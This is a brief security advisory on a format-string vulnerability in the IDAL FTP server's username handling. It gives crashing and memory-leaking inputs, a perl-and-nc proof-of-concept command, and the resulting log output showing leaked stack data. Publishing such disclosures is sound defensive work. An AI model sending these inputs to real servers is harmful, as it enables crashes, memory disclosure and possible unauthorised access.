Vulnerability summary
---------------------
The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.


Technical details
-----------------
The IDAL FTP server does not safely handle username strings during the authentication process. Attempting to authenticate with the username `%s%p%x%d` will crash the server. Sending `%08x.AAAA.%08x.%08x` will log memory content from the stack.


Proof of concept
----------------
```
perl -e 'print "USER %08x.AAAA.%08x.%08x\r\nPASS xen1thLabs\r\n";' | nc targetip 22
````

UserManagementModule::isUserExist failed. "72657355.AAAA.616e614d.656d6567" not present in UserFactory
UserManagementModule::LoginFTPUser failed. User :"72657355.AAAA.616e614d.656d6567" not present in UserFactory
